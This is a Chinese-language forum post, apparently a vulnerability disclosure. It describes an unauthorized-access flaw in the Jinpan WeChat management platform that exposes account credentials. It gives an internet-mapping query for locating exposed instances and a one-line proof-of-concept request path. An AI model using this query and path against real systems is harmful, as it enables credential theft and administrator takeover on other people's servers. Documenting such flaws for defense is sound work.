跳转到帖子

金盘 微信管理平台 getsysteminfo 未授权访问漏洞

recommended_posts

发布于
  • 超级管理员

漏洞描述

金盘 微信管理平台 getsysteminfo接口存在未授权访问漏洞,攻击者通过漏洞可以获取账号密码信息,获取后台管理员权限。

漏洞影响

金盘 微信管理平台

网络测绘

title=”微信管理后台” && icon_hash=”116323821″

漏洞复现

登陆页面

image.png

验证POC

/admin/weichatcfg/getsysteminfo

image.png

  • 查看数 769
  • 已创建
  • 最后回复

发布的图像

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…